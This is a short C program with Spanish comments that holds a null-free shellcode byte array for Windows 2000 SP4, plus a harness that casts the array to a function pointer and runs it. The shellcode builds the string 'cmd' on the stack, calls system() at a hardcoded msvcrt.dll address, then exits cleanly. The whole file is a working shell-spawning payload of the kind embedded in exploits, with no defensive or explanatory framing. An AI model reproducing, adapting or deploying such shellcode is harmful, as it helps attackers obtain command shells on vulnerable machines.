/* ICAshell with no NULLS Baschecksum powa
   basado en msvcrt.dll y la funcion system
   exit para salir del programa limpiamente
   SISTEMA: win2k sp4 version 5.00.2195
*/

#include <stdio.h>
#include <windows.h>
char shellcode[]=
"\x55\x89\xe5\x83\xec\x08\xc6\x45"
"\xfc\x63\xc6\x45\xfd\x6d\xc6\x45"
"\xfe\x64\x31\xc0\x88\x45\xff\x83"
"\xec\x0c\x8d\x45\xfc\x50\xb8\xbf"
"\x8e\x01\x78\xff\xd0\x83\xc4\x10"
"\x83\xec\x0c\x31\xc0\x50\xb8\x64"
"\x8d\x11\x79\x2d\x11\x11\x11\x01"
"\xff\xd0";
int main(){
	void (*funcion)();
	(char*) funcion=shellcode;
	funcion();
	return 0;

}
